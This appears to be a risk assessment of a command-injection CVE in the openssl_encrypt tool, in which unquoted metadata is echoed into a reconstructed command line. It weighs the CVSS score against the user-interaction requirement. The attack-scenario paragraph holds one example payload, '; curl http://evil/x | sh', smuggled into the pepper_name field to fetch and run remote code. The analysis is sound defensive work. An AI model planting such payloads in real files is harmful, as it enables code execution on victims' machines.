openssl_encrypt CVE-2026-81698

Exploitation requires (1) the attacker to control metadata fields - explicitly pepper_name - inside an openssl_encrypt file that the victim will inspect, and (2) the victim to run the 'info' command AND then copy the printed reconstructed CLI block into a shell. The vulnerability lives specifically in the info command's CLI-reconstruction feature that interpolates metadata without quoting. Limiting factors that reduce realistic risk: exploitation is not autonomous - it hinges on the human action of copy-pasting output into a terminal (contradicting the CVSS UI:N), the attacker must first deliver a malicious file to the victim, and code executes only with the pasting user's privileges. A cautious user who inspects the output before running it neutralizes the attack.

The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, base 9.3 Critical) overstates real-world exploitability because it encodes UI:N, yet the description makes clear that code only executes when a human copies the printed CLI block into a shell - that is user interaction, and the vector and description conflict on this point; treat the 9.3 as an upper bound. There is no EPSS score provided, the CVE is not in CISA KEV, and no POC is referenced, so this is a high-severity-on-paper issue whose practical exploitation depends on a specific and somewhat unusual user behavior rather than autonomous remote compromise. That said, the impact when triggered is full command execution in the victim's context, so the flaw should still be patched promptly on any host that inspects untrusted encrypted files - the low deployment footprint of the tool, not low technical severity, is the main mitigating factor.

An attacker crafts an openssl_encrypt file whose pepper_name (or similar metadata) contains a payload such as ; curl http://evil/x | sh, then shares it with a target as a supposedly legitimate encrypted file. The victim runs 'openssl_encrypt info' to inspect it, sees a helpful reconstructed command line, and copies it into their terminal - at which point the embedded shell command runs with the victim's privileges. No public POC is referenced, and success depends on the victim actually pasting the tool's output into a shell.